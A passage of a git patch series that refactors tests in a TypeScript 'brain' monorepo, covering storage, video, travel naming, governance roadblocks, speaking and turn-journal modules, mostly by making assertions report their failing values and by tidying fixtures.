recoveryAt: start + 80_000 }); - expect(result.samples.every(row => row[2] === 1)).toBe(true); + expect(result.samples.filter(row => row[2] !== 1)).toEqual([]); }); test("buffered owning-operation refusals survive a newer capacity sample and require matching writes", () => { diff --git a/packages/ui-server/tests/storage-metadata.test.ts b/packages/ui-server/tests/storage-metadata.test.ts index 69aae17075..b94dfee466 100644 --- a/packages/ui-server/tests/storage-metadata.test.ts +++ b/packages/ui-server/tests/storage-metadata.test.ts @@ -47,6 +47,6 @@ test("actual same-device bind descendants are not traversed by the server metada expect(code, err).toBe(0); const result = JSON.parse(out); expect(result.errors, "STORAGE_BIND_MOUNT_REFUSED").toContainEqual({ rootId: "odysseus", reason: "mount-boundary" }); - expect(result.entries.some((entry: {path:string}) => entry.path === "mounted/Troy.pdf")).toBe(false); + expect(result.entries.map((entry: {path:string}) => entry.path)).not.toContain("mounted/Troy.pdf"); } finally { rmSync(root, { recursive: true, force: true }); } }); diff --git a/packages/ui-server/tests/storage-notify.test.ts b/packages/ui-server/tests/storage-notify.test.ts index ebd4c38991..c07c60409b 100644 --- a/packages/ui-server/tests/storage-notify.test.ts +++ b/packages/ui-server/tests/storage-notify.test.ts @@ -46,7 +46,7 @@ test("multiple Critical capacities coalesce into one generic push and durably re const f = fixture(); f.device("Ithaca"); f.observe(start, 5000, 4); expect(await f.deliver()).toBe(1); expect(f.sent).toHaveLength(1); expect(f.sent[0]!.payload).toEqual({ title: "Storage needs attention.", body: "Open Storage for details.", tag: expect.stringMatching(/^brain-storage:[a-f0-9]{32}$/), url: "/#/settings/storage" }); - const rows = f.notices.receipts(f.owner.id, start); expect(rows).toHaveLength(4); expect(rows.every(row => row.state === "accepted" && row.attempts === 1)).toBe(true); + const rows = f.notices.receipts(f.owner.id, start); expect(rows).toHaveLength(4); expect(rows.map(row => [row.state, row.attempts])).toEqual(Array(4).fill(["accepted", 1])); expect(await f.deliver(), "STORAGE_PUSH_DURABLE_DEDUP").toBe(0); const db = createUiDb(f.path); close.push(() => db.close()); const other = createStorageNotifier(db, createStorageHistory(db, f.root)); @@ -134,7 +134,7 @@ test("native concurrent senders submit once; a SIGKILL after transport entry is try { const deadline = Date.now() + 5000; while (!outputs.every(value => value.includes("READY\n")) && Date.now() < deadline) await sleep(10); - expect(outputs.every(value => value.includes("READY\n"))).toBe(true); + expect(outputs.map(value => value.includes("READY\n")), outputs.join("\n")).toEqual(children.map(() => true)); for (const child of children) { child.stdin.write("deliver\n"); child.stdin.end(); } if (mode === "crash") { while (!existsSync(marker) && Date.now() < deadline) await sleep(10); From 33fee112e466ec563df65e91d9250b5850117897 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:22:47 +0100 Subject: [PATCH 189/252] test(module-video): prove an undeclared module cannot be enabled, check input guards in-process Test-Health: th-20261110211713-6d02ca#0 --- packages/module-video/tests/cli.test.ts | 33 +++++++++++++++++++++---- 1 file changed, 28 insertions(+), 5 deletions(-) diff --git a/packages/module-video/tests/cli.test.ts b/packages/module-video/tests/cli.test.ts index bae4019eae..a8991d8d84 100644 --- a/packages/module-video/tests/cli.test.ts +++ b/packages/module-video/tests/cli.test.ts @@ -1,10 +1,14 @@ -import { afterEach, describe, expect, test } from "bun:test"; +import { afterEach, describe, expect, spyOn, test } from "bun:test"; import { existsSync, readFileSync, writeFileSync } from "node:fs"; import { join } from "node:path"; +import type { CommandContext, CompletionProvider } from "@schlessera/brain"; import { cleanup, makeTempBrain, runCli } from "../../core/tests/cli-harness.js"; +import command from "../src/cli.js"; +import { configSchema, type VideoConfig } from "../src/module.js"; const roots: string[] = []; afterEach(() => { for (const root of roots.splice(0)) cleanup(root); }); +type CompletionRequest = Parameters[0]; const URL = "https://www.youtube.com/watch?v=Odysseus001"; function fixture(options: { capability?: boolean; builtin?: boolean; declared?: boolean; dormant?: boolean; answer?: string; emptyAnswer?: boolean } = {}) { const root = makeTempBrain({ empty: true }); roots.push(root); @@ -71,6 +75,10 @@ describe("real brain video CLI", () => { }); test("undeclared module contributes no namespace, watch skill or instructions", async () => { const root = fixture({ declared: false }); + // `skills sync` never writes module instructions; only `module enable` can, so ask it. + const enable = await runCli(root, ["module", "enable", "video", "--json"]); + expect(enable.code).not.toBe(0); + expect(enable.stderr).toContain('Module "video" is not configured'); const help = await runCli(root, ["--help"]); expect(help.code).toBe(0); expect(help.stdout).not.toMatch(/^\s+video\s/m); @@ -111,6 +119,9 @@ describe("real brain video CLI", () => { expect(JSON.parse(missing.stdout).timestamps).toEqual([]); expect(JSON.parse(missing.stdout).warnings.join(" ")).toContain("no usable timestamps"); }); + // The module's own parser and source guards, in-process: one spawn per row + // cost seconds, and the spawned tests above and below already prove that a + // thrown error reaches the CLI as exit 1 with no success JSON. for (const args of [ [URL, "--end", "0"], [URL, "--start", "2:00", "--end", "1:00"], [URL, "--start", "1:60"], [URL, "--engine", "local"], [URL, "--question"], @@ -119,10 +130,22 @@ describe("real brain video CLI", () => { ["https://www.youtube.com:8443/watch?v=Odysseus001"], ["missing.mp4"], ]) { test(`rejects invalid input without invocation ${JSON.stringify(args)}`, async () => { - const root = fixture(); - const result = await runCli(root, ["video", "watch", ...args, "--json"]); - expect(result.code).toBe(1); expect(result.stdout).toBe(""); - expect(existsSync(join(root, "request.json"))).toBe(false); + const root = makeTempBrain({ empty: true }); roots.push(root); + const requests: CompletionRequest[] = []; + const ctx = { + root, json: true, config: configSchema.parse({}), + completions: { provider: { + id: "gemini:fictional-model", capabilities: { vision: true, video: true }, + async complete(req: CompletionRequest) { requests.push(req); return "00:10 Odysseus checks the supplies."; }, + } }, + } as unknown as CommandContext; + const log = spyOn(console, "log").mockImplementation(() => {}); + const error = spyOn(console, "error").mockImplementation(() => {}); + try { + const code = await command.run(["watch", ...args, "--json"], ctx); + expect(code).toBe(1); expect(log).not.toHaveBeenCalled(); + expect(requests).toEqual([]); + } finally { log.mockRestore(); error.mockRestore(); } }); } test("empty answer fails without success JSON", async () => { From 42f5dc9ce9947ca1ab0bec87b3c2ae49717f4814 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:26:49 +0100 Subject: [PATCH 190/252] test(module-travel): own the output-naming rules in a unit table and keep one CLI row per seam Test-Health: th-20261110205849-494496#1 --- .../module-travel/tests/output-naming.test.ts | 63 ++++++++++++++----- 1 file changed, 46 insertions(+), 17 deletions(-) diff --git a/packages/module-travel/tests/output-naming.test.ts b/packages/module-travel/tests/output-naming.test.ts index 2bbdc853a1..ff0d8f337e 100644 --- a/packages/module-travel/tests/output-naming.test.ts +++ b/packages/module-travel/tests/output-naming.test.ts @@ -5,6 +5,7 @@ import sharp from "sharp"; import * as exifr from "exifr"; import { cleanup, makeTempBrain, runCli } from "../../core/tests/cli-harness.js"; import { taggedPhoto } from "./photo-fixtures.js"; +import { validateOutputNaming } from "../src/output-naming.js"; const roots: string[] = []; const hash = (bytes: Uint8Array) => new Bun.CryptoHasher("sha256").update(bytes).digest("hex"); @@ -34,6 +35,36 @@ const photo = (root: string, flags: string[] = [], input = "inputs/IMG_4711.jpg" const route = (root: string, flags: string[] = []) => runCli(root, ["travel", "route", "inputs/Recorded.GPX", "--to", "routes", ...flags, "--json"]); +const DATE_REFUSAL = "--date requires a valid calendar date in YYYY-MM-DD form."; +const SLUG_REFUSAL = "--name descriptor must contain an ASCII letter, digit, underscore or hyphen after accent folding."; +const naming = (options: { name?: string; date?: string }, forceDate = false) => { + try { return validateOutputNaming(options, forceDate); } catch (error) { return (error as Error).message; } +}; + +describe("output naming rules", () => { + test("nonexistent, malformed and year-zero dates refuse with the calendar diagnostic", () => { + const dates = ["2026-02-30", "2026-02-29", "1900-02-29", "2026-04-31", "0000-01-01", "2026-13-01", "2026-1-01", "2026-09-27T00:00:00Z"]; + expect(dates.map((date) => naming({ date }))).toEqual(dates.map(() => DATE_REFUSAL)); + expect(dates.map((date) => naming({ name: "Ferry", date }))).toEqual(dates.map(() => DATE_REFUSAL)); + }); + + test("valid leap days and dates before year 100 keep the exact supplied calendar", () => { + const dates = ["2024-02-29", "2000-02-29", "0001-01-01", "0099-12-31"]; + expect(dates.map((date) => naming({ name: "Ferry", date }))).toEqual(dates.map((date) => ({ slug: "ferry", date }))); + }); + + test("descriptors fold accents to the approved slug, and empty slugs refuse", () => { + const labels = [["Café in Ithaca", "cafe-in-ithaca"], ["Cafe\u0301 in Ithaca", "cafe-in-ithaca"], ["Straße", "stra-e"], ["Plan.v2", "plan-v2"], ["Ferry__to-Scheria", "ferry__to-scheria"]]; + expect(labels.map(([name]) => naming({ name }))).toEqual(labels.map(([, slug]) => ({ slug, date: undefined }))); + expect(["Αθήνα", ".. /"].map((name) => naming({ name, date: "2026-09-27" }))).toEqual([SLUG_REFUSAL, SLUG_REFUSAL]); + }); + + test("forcing the date requires a valid date", () => { + expect([naming({}, true), naming({ name: "Ferry" }, true), naming({ date: "2026-02-30" }, true), naming({ date: "2026-09-28" }, true)]) + .toEqual(["--force-date requires a valid --date calendar date.", "--force-date requires a valid --date calendar date.", DATE_REFUSAL, { date: "2026-09-28" }]); + }); +}); + describe("real CLI output naming", () => { test("legacy names report no applied naming date with nonempty capture metadata", async () => { const root = brain(); @@ -124,21 +155,21 @@ describe("real CLI output naming", () => { }); test("complete descriptors use exactly approved accent folding in both real commands", async () => { - for (const [label, slug] of [["Café in Ithaca", "cafe-in-ithaca"], ["Cafe\u0301 in Ithaca", "cafe-in-ithaca"], ["Straße", "stra-e"], ["Plan.v2", "plan-v2"], ["Ferry__to-Scheria", "ferry__to-scheria"]]) { - const root = brain(); - const p = await photo(root, ["--name", label!, "--date", "2026-09-27"]); - expect(p.code).toBe(0); - expect(JSON.parse(p.stdout).photo.files[0]).toMatchObject({ output: `copies/2026-09-27-${slug}.jpg`, date_source: "flag" }); - const r = await route(root, ["--name", label!, "--date", "2026-09-27"]); - expect(r.code).toBe(0); - expect(JSON.parse(r.stdout).route).toMatchObject({ gpx: `routes/2026-09-27-${slug}.gpx`, date_source: "flag" }); - } + // The rule table is owned by "output naming rules"; one combining-accent label proves both commands apply it. + const root = brain(), label = "Cafe\u0301 in Ithaca"; + const p = await photo(root, ["--name", label, "--date", "2026-09-27"]); + expect(p.code).toBe(0); + expect(JSON.parse(p.stdout).photo.files[0]).toMatchObject({ output: "copies/2026-09-27-cafe-in-ithaca.jpg", date_source: "flag" }); + const r = await route(root, ["--name", label, "--date", "2026-09-27"]); + expect(r.code).toBe(0); + expect(JSON.parse(r.stdout).route).toMatchObject({ gpx: "routes/2026-09-27-cafe-in-ithaca.gpx", date_source: "flag" }); }); test("invalid calendar dates and empty slugs refuse before any output directory", async () => { + // One date and one slug refusal per command; "output naming rules" owns the full tables. for (const flags of [ - ...["2026-02-30", "2026-02-29", "1900-02-29", "2026-04-31", "0000-01-01", "2026-13-01", "2026-1-01", "2026-09-27T00:00:00Z"].map(d => ["--date", d]), - ...["Αθήνα", ".. /"].map(n => ["--name", n]), + ["--date", "2026-02-30"], + ["--name", "Αθήνα"], ]) { const root = brain(); for (const [result, out] of [[await photo(root, flags), "copies"], [await route(root, flags), "routes"]] as const) { @@ -162,12 +193,10 @@ describe("real CLI output naming", () => { } }); - test("valid leap days and dates before year 100 keep the exact supplied calendar", async () => { - for (const date of ["2024-02-29", "2000-02-29", "0001-01-01", "0099-12-31"]) { - const root = brain(); - const r = await route(root, ["--name", "Ferry", "--date", date]); expect(r.code).toBe(0); - expect(JSON.parse(r.stdout).route).toMatchObject({ gpx: `routes/${date}-ferry.gpx`, date_source: "flag" }); - } + test("a date before year 100 keeps its exact supplied calendar in the route name", async () => { + const root = brain(); + const r = await route(root, ["--name", "Ferry", "--date", "0001-01-01"]); expect(r.code).toBe(0); + expect(JSON.parse(r.stdout).route).toMatchObject({ gpx: "routes/0001-01-01-ferry.gpx", date_source: "flag" }); }); test("named output containment and symlink guards remain active", async () => { From 37db61d056c2582516766194491b24b08e695e17 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:26:03 +0100 Subject: [PATCH 191/252] test(module-video): pin the video module's default model and refuse a blank one Test-Health: th-20261110211713-6d02ca#1 --- packages/module-video/tests/module.test.ts | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/packages/module-video/tests/module.test.ts b/packages/module-video/tests/module.test.ts index e5903cfbf3..8220333fa3 100644 --- a/packages/module-video/tests/module.test.ts +++ b/packages/module-video/tests/module.test.ts @@ -4,6 +4,7 @@ import { resolve } from "node:path"; import { cleanup, makeTempBrain } from "../../core/tests/cli-harness.js"; import { discoverSkills } from "../../core/src/lib/skills/discover.js"; import { lintSkills } from "../../core/src/lib/skills/lint.js"; +import { GEMINI_FLASH_MODEL } from "@schlessera/brain/module"; import manifest, { configSchema } from "../src/module.js"; const roots: string[] = []; @@ -11,7 +12,8 @@ afterEach(() => { for (const root of roots.splice(0)) cleanup(root); }); test("manifest is opt-in, schema rejects alternate engines and unsafe timeout", () => { const config = configSchema.parse({}); expect(config.engine).toBe("gemini"); expect(config.timeoutMs).toBe(300000); - expect(config.model.length).toBeGreaterThan(0); + expect(config.model).toBe(GEMINI_FLASH_MODEL); + expect(() => configSchema.parse({ model: " " })).toThrow(); expect(() => configSchema.parse({ engine: "local" })).toThrow(); expect(() => configSchema.parse({ timeoutMs: 0 })).toThrow(); expect(() => configSchema.parse({ unknown: true })).toThrow(); From 687e5e93b064890e983ae59a1766e3c798e99ca9 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:28:02 +0100 Subject: [PATCH 192/252] test(ui-server): jobs default-board HTTP test reports each board's scrape status on failure Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#12 --- packages/ui-server/tests/jobs-board-defaults-http.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-server/tests/jobs-board-defaults-http.test.ts b/packages/ui-server/tests/jobs-board-defaults-http.test.ts index 164fb30b2b..530df22c94 100644 --- a/packages/ui-server/tests/jobs-board-defaults-http.test.ts +++ b/packages/ui-server/tests/jobs-board-defaults-http.test.ts @@ -49,7 +49,7 @@ for (const scenario of [ expect(code, stderr + stdout).toBe(0); const report = JSON.parse(stdout).report; expect(report.sources.map((entry: { source: string }) => entry.source)).toEqual(scenario.expected); - expect(report.sources.every((entry: { status: string }) => entry.status === "empty")).toBe(true); + expect(report.sources.map((entry: { status: string }) => entry.status)).toEqual(scenario.expected.map(() => "empty")); expect(report.total_errors).toEqual([]); expect(readFileSync(join(t.brainPath, "brain.config.ts"), "utf8")).toBe(config); } finally { await t.close(); } From 19e285ba246b1143dfc64bdb6fa810f7767a4a11 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:28:06 +0100 Subject: [PATCH 193/252] test(ui-server): require the roadblock property test to produce episodes, batch the 501-event fixture, show values in publication-safety failures Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#13 --- .../ui-server/tests/governance-roadblock-report.test.ts | 7 +++++-- packages/ui-server/tests/governance-roadblocks.test.ts | 8 +++++++- packages/ui-server/tests/host-publication-safety.test.ts | 6 +++--- 3 files changed, 15 insertions(+), 6 deletions(-) diff --git a/packages/ui-server/tests/governance-roadblock-report.test.ts b/packages/ui-server/tests/governance-roadblock-report.test.ts index 55b32e461b..ba3d6d6348 100644 --- a/packages/ui-server/tests/governance-roadblock-report.test.ts +++ b/packages/ui-server/tests/governance-roadblock-report.test.ts @@ -125,8 +125,11 @@ test("all episodes contribute before ranking limits, including beyond a governan await withReport(async (t, get) => { const payload = { category: "budget", family: "budget", signature: "budget|turn tokens", failures: [{ toolCallId: null, signature: "budget", category: "budget" }], resolution: null, remedy: "capability", waste: { tokens: 10, costUsd: 0.1, ms: 1 }, eventIds: [] } satisfies GovernanceEventPayload<"roadblock">; - for (let i = 0; i < 501; i++) recordGovernanceEvent(t.app.db, { kind: "roadblock", payload, - sessionId: "sess-ithaca", turnId: `turn-budget-${i}`, actor: "autonomous", model: null, profile: "restricted", at: NOW }); + // One transaction: 501 separately committed writes cost seconds and prove nothing more. + t.app.db.transaction(() => { + for (let i = 0; i < 501; i++) recordGovernanceEvent(t.app.db, { kind: "roadblock", payload, + sessionId: "sess-ithaca", turnId: `turn-budget-${i}`, actor: "autonomous", model: null, profile: "restricted", at: NOW }); + })(); t.app.db.exec("DELETE FROM activity_spans"); const report = await (await get("hoursBack=168&limit=1")).json(); expect(report).toMatchObject({ episodes: 509, totalGroups: 3, byCount: [{ signature: "budget|turn tokens", count: 501, diff --git a/packages/ui-server/tests/governance-roadblocks.test.ts b/packages/ui-server/tests/governance-roadblocks.test.ts index 133915bcc3..3769ecb9e4 100644 --- a/packages/ui-server/tests/governance-roadblocks.test.ts +++ b/packages/ui-server/tests/governance-roadblocks.test.ts @@ -198,6 +198,7 @@ describe("roadblock episodes", () => { { file_path: ".brain/scratch/x.md" }, { path: "/tmp/x" }, { url: "https://sirens.example/song" }]; const outputs = [{ output: "ok" }, { output: EROFS, isError: true }, { output: "fatal\nExit code 1", isError: true }, { output: "(no output)\n[exit 3]" }, { output: "ECONNREFUSED", isError: true }, { output: "boom", isError: true }, { denied: "user declined" }]; + let validated = 0; for (let round = 0; round < 300; round += 1) { const calls = Array.from({ length: Math.floor(rand() * 12) }, (_, i) => call(`c${i}`, pick(tools), pick(inputs), Math.floor(rand() * 5000), pick(outputs) as { output: string })); @@ -205,8 +206,13 @@ describe("roadblock episodes", () => { const first = classifyRoadblocks(turn, []); expect(classifyRoadblocks(structuredClone(turn), [])).toEqual(first); expect(JSON.stringify(classifyRoadblocks(turn, []))).toBe(JSON.stringify(first)); - for (const payload of first) expect(GOVERNANCE_EVENT_SCHEMAS.roadblock.payload.safeParse(payload).success).toBe(true); + for (const payload of first) { + expect(GOVERNANCE_EVENT_SCHEMAS.roadblock.payload.safeParse(payload).success).toBe(true); + validated += 1; + } } + // An empty classification is trivially deterministic: the generated frames must produce episodes. + expect(validated, "GENERATED_FRAMES_PRODUCE_EPISODES").toBeGreaterThan(0); }); }); diff --git a/packages/ui-server/tests/host-publication-safety.test.ts b/packages/ui-server/tests/host-publication-safety.test.ts index 74acf6992e..7af645946c 100644 --- a/packages/ui-server/tests/host-publication-safety.test.ts +++ b/packages/ui-server/tests/host-publication-safety.test.ts @@ -103,7 +103,7 @@ for(const backendId of ["claude","pi"] as const) for(const adverse of [false,tru allowedTools:[name],confirmPatterns:[],brainPath:f.root,turnLock:{async acquireForTool(){return {ok:true};},releaseForTool(){}} as never,childEnv:{},log(){}}); const outputs=await Promise.all(wiring.hooks!.PreToolUse!.filter(group=>!group.matcher||new RegExp(group.matcher).test(name)).flatMap(group=>group.hooks) .map(hook=>hook({hook_event_name:"PreToolUse",tool_name:name,tool_input:input,tool_use_id:"composed-application"} as never,"composed-application",{signal:f.controller.signal}))); - expect(outputs.some(o=>"hookSpecificOutput" in o&&o.hookSpecificOutput&&"permissionDecision" in o.hookSpecificOutput&&o.hookSpecificOutput.permissionDecision==="deny")).toBe(false); + expect(outputs.filter(o=>"hookSpecificOutput" in o&&o.hookSpecificOutput&&"permissionDecision" in o.hookSpecificOutput&&o.hookSpecificOutput.permissionDecision==="deny")).toEqual([]); } else { let gate:any;const extension=createPermissionGate({turn:{...createTurnContext(),bridge,signal:f.controller.signal},allowedTools:new Set([name]),confirmPatterns:[]}); const factory=typeof extension==="function"?extension:extension.factory;await factory({on(_event:any,fn:any){gate=fn;}} as never); @@ -144,7 +144,7 @@ for(const backendId of ["claude","pi"] as const) for(const adverse of [true]) te allowedTools:[name],confirmPatterns:[],brainPath:f.root,turnLock:{async acquireForTool(){return {ok:true};},releaseForTool(){}} as never,childEnv:{},log(){}}); const outputs=await Promise.all(wiring.hooks!.PreToolUse!.filter(group=>!group.matcher||new RegExp(group.matcher).test(name)).flatMap(group=>group.hooks) .map(hook=>hook({hook_event_name:"PreToolUse",tool_name:name,tool_input:input,tool_use_id:"composed-application"} as never,"composed-application",{signal:f.controller.signal}))); - expect(outputs.some(o=>"hookSpecificOutput" in o&&o.hookSpecificOutput&&"permissionDecision" in o.hookSpecificOutput&&o.hookSpecificOutput.permissionDecision==="deny")).toBe(false); + expect(outputs.filter(o=>"hookSpecificOutput" in o&&o.hookSpecificOutput&&"permissionDecision" in o.hookSpecificOutput&&o.hookSpecificOutput.permissionDecision==="deny")).toEqual([]); } else { let gate:any;const extension=createPermissionGate({turn:{...createTurnContext(),bridge,signal:f.controller.signal},allowedTools:new Set([name]),confirmPatterns:[]}); const factory=typeof extension==="function"?extension:extension.factory;await factory({on(_event:any,fn:any){gate=fn;}} as never); @@ -197,7 +197,7 @@ for(const adverse of [false,true]) test(`extra composed policy: final publicatio expect(bridge.admissionSafety!.read().recordingAvailable).toBe(!adverse); expect(bridge.admissionSafety!.read().authorityEpoch, "RECORDING_HEALTH_DOES_NOT_ROTATE_PRINCIPAL_EPOCH").toBe(authorityEpoch); release.resolve();const result=await work; - expect(readFileSync(path,"utf8")===proposed,"POLICY_FINAL_LOCK_MUST_FENCE_SHARED_RECORDER_LOSS").toBe(!adverse); + expect(readFileSync(path,"utf8"),"POLICY_FINAL_LOCK_MUST_FENCE_SHARED_RECORDER_LOSS").toBe(adverse ? original : proposed); expect(result.state).toBe(adverse ? "refused" : "updated"); }finally{release.resolve();host.close();await work;authorization.release();await f.close();} }); From 7a20da5d4c96b12a31d839264f7ffb666d57a7cc Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:28:07 +0100 Subject: [PATCH 194/252] test(module-travel): list photo batch errors without a message Test-Health: th-20261110205849-494496#3 --- packages/module-travel/tests/photo.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/module-travel/tests/photo.test.ts b/packages/module-travel/tests/photo.test.ts index 5a5257c451..3b1c8ce68d 100644 --- a/packages/module-travel/tests/photo.test.ts +++ b/packages/module-travel/tests/photo.test.ts @@ -210,7 +210,7 @@ describe("real travel photo CLI", () => { expect(result.code).toBe(2); const photo = report(result.stdout); expect(photo.files.map(file => file.source)).toEqual(["inputs/ithaca.jpg"]); expect(photo.errors.map(error => error.source)).toEqual(["inputs/troy.jpg", "inputs/absent.jpg"]); - expect(photo.errors.every(error => error.message.length > 0)).toBe(true); + expect(photo.errors.filter(error => error.message.length === 0)).toEqual([]); expect(readdirSync(join(root, "photos"))).toEqual(["ithaca.jpg"]); expect(readFileSync(join(root, "inputs/troy.jpg"), "utf8")).toBe("not an image"); }); From dd573fae10274ed0620c0dcad64f8e31b1a2475b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:28:30 +0100 Subject: [PATCH 195/252] test(module-speaking): pin contributed dirs, segments and nested strictness; clean up the skills temp root Test-Health: th-20261110212315-08d657#0 --- packages/module-speaking/tests/module.test.ts | 39 +++++++++++++------ 1 file changed, 28 insertions(+), 11 deletions(-) diff --git a/packages/module-speaking/tests/module.test.ts b/packages/module-speaking/tests/module.test.ts index 66d56b6285..d3a5c186c0 100644 --- a/packages/module-speaking/tests/module.test.ts +++ b/packages/module-speaking/tests/module.test.ts @@ -1,5 +1,5 @@ -import { describe, expect, it } from "bun:test"; -import { mkdtempSync } from "fs"; +import { afterAll, beforeAll, describe, expect, it } from "bun:test"; +import { mkdtempSync, rmSync } from "fs"; import { tmpdir } from "os"; import { join, resolve } from "path"; import { type LoadedModule } from "@schlessera/brain"; @@ -44,10 +44,8 @@ describe("speaking manifest", () => { }); it("excludes slide-deck working segments", () => { - const segments = contribution.exclude?.segments ?? []; - expect(segments).toContain("alt-decks"); - expect(segments).toContain("versions"); - expect(segments).toContain("deck"); + // Exactly these: an extra segment would hide real talk or conference documents. + expect(contribution.exclude?.segments).toEqual(["alt-decks", "versions", "deck"]); }); }); @@ -72,7 +70,15 @@ describe("speaking configSchema", () => { }); it("rejects unknown keys", () => { - expect(() => configSchema.parse({ nope: true })).toThrow(); + expect(configSchema.safeParse({ nope: true }).error?.issues).toMatchObject([ + { code: "unrecognized_keys", keys: ["nope"], path: [] }, + ]); + const member = configSchema.safeParse({ + travelParty: [{ name: "Odysseus", ship: "the black ship" }], + }); + expect(member.error?.issues).toMatchObject([ + { code: "unrecognized_keys", keys: ["ship"], path: ["travelParty", 0] }, + ]); }); }); @@ -80,9 +86,11 @@ describe("speaking taxonomy roundtrip", () => { const taxonomy = buildTaxonomy({ modules: [loaded()] }); it("resolves each contributed type's dir back to the type", () => { - for (const type of ["talk", "conference"]) { - const dir = taxonomy.dirForType(type); - expect(dir).not.toBeNull(); + for (const [type, dir] of [ + ["talk", "talks"], + ["conference", "conferences"], + ] as const) { + expect(taxonomy.dirForType(type)).toBe(dir); expect(taxonomy.typeForPath(`${dir}/x.md`)).toBe(type); } }); @@ -108,9 +116,18 @@ describe("shipped skills", () => { config: {}, }; + // An empty brain root, so only the module's own skills are discovered. + let root = ""; + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "brain-speaking-skills-")); + }); + afterAll(() => { + if (root) rmSync(root, { recursive: true, force: true }); + }); + function skills() { const { skills, warnings } = discoverSkills( - { root: mkdtempSync(join(tmpdir(), "brain-speaking-skills-")), modules: [forSkills] }, + { root, modules: [forSkills] }, { coreSkillsDir: resolve(import.meta.dir, "no-such-core-skills") } ); expect(warnings).toEqual([]); From 1a1ca2c34dac30f6929d9ff41da2236d47f317c6 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:28:47 +0100 Subject: [PATCH 196/252] test(ui-react): turn-journal cases undo their shared fixture effects and the expired-surface check can fail Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110183038-0543ec#1 --- .../ui-react/tests/turn-journal-runtime.test.ts | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/packages/ui-react/tests/turn-journal-runtime.test.ts b/packages/ui-react/tests/turn-journal-runtime.test.ts index 51ae41a7df..f020224504 100644 --- a/packages/ui-react/tests/turn-journal-runtime.test.ts +++ b/packages/ui-react/tests/turn-journal-runtime.test.ts @@ -398,14 +398,21 @@ test("voice and expired facts remove actions; an old POST response cannot attach await page.evaluate(id=>(window as any).__journalFixture.frame({type:"turn_journal",sessionId:"ithaca",turnId:id,journal:{...(window as any).__journalSeed.summary,actor:"voice"}}),turnId); expect(await page.getByRole("button",{name:"Review whole-turn revert",exact:true}).count(),"REVERT_VOICE_SURFACE_INACTIVE").toBe(0); await page.evaluate(id=>(window as any).__journalFixture.frame({type:"turn_journal",sessionId:"ithaca",turnId:id,journal:{...(window as any).__journalSeed.summary,state:"expired"}}),turnId); - expect(await page.getByRole("button",{name:/Revert|Undo/}).count(),"REVERT_EXPIRED_SURFACE_INACTIVE").toBe(0); + expect(await page.getByRole("button",{name:/revert|undo/i}).count(),"REVERT_EXPIRED_SURFACE_INACTIVE").toBe(0); await page.evaluate(id=>(window as any).__journalFixture.frame({type:"turn_journal",sessionId:"ithaca",turnId:id,journal:(window as any).__journalSeed.summary}),turnId); await context.route("**/turns/*/revert",async route=>{if(route.request().method()!=="POST")return route.continue();const response=await route.fetch();await new Promise(resolve=>{releaseResponse=resolve;});await route.fulfill({response});}); await page.getByRole("button",{name:"Review notes/voyage.md",exact:true}).click();await page.getByRole("button",{name:"Revert notes/voyage.md",exact:true}).click(); for(let attempts=0;!releaseResponse&&attempts<100;attempts++)await Bun.sleep(10);expect(releaseResponse).toBeDefined(); await page.evaluate(()=>(window as any).__journalFixture.switchSession());releaseResponse!();hold.release();await page.waitForTimeout(100); expect(await page.locator("[data-revert-receipt]").count(),"REVERT_STALE_SESSION_RESPONSE_IGNORED").toBe(0);expect(await page.getByRole("dialog").count()).toBe(0); - } finally {releaseResponse?.();hold.release();await context.close();} + } finally { + releaseResponse?.();hold.release();await context.close(); + // The held revert still lands once the gate opens; put the bytes back so the + // cases that revert this file start from the turn's own result, in any order. + const voyage=resolve(root,"brain/notes/voyage.md"); + for(let attempt=0;attempt<100&&await readFile(voyage,"utf8")!=="Ithaca\r\n";attempt++)await Bun.sleep(50); + await writeFile(voyage,"Athena charts the return.\r\n"); + } }); for (const [width, theme] of journalRuntimeCells) test(`steering skill review and existing per-file revert ${theme} ${width}`, async () => { @@ -476,6 +483,9 @@ test("keep-both refreshes the actual disposable index with both retained files", if(paths.length===2)break;await Bun.sleep(50); } expect(paths,`CONFLICT_KEEP_BOTH_ACTUAL_INDEX_SEES_BOTH ${JSON.stringify(observability.logs.records())}`).toEqual(["notes/crossing-remote.md","notes/crossing.md"]); + // Undo the keep-both so the shared conflict stays open for the other conflict cases, in any order. + await page.getByRole("button",{name:"Undo",exact:true}).click();await page.getByRole("button",{name:"Revert 2 files",exact:true}).click();await page.locator("[data-revert-receipt='complete']").waitFor(); + expect(await Bun.file(resolve(root,"brain/notes/crossing-remote.md")).exists(),"CONFLICT_KEEP_BOTH_FIXTURE_UNDONE").toBe(false); }finally{await context.close();} }); From 0eddcacaf111a713227a8def67936631f2cbd3ed Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:28:53 +0100 Subject: [PATCH 197/252] test(module-travel): compare sync's preserved prose as strings Test-Health: th-20261110205849-494496#4 --- packages/module-travel/tests/sync.test.ts | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/packages/module-travel/tests/sync.test.ts b/packages/module-travel/tests/sync.test.ts index 2d7a410c07..74fa23e993 100644 --- a/packages/module-travel/tests/sync.test.ts +++ b/packages/module-travel/tests/sync.test.ts @@ -108,8 +108,9 @@ describe("travel sync", () => { expect((await sync(root)).files).toEqual(["trips/_index.md", 